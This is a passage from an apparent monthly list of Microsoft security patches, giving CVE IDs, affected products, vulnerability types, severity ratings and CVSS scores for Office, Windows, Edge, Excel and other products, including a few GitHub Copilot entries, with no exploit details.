RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  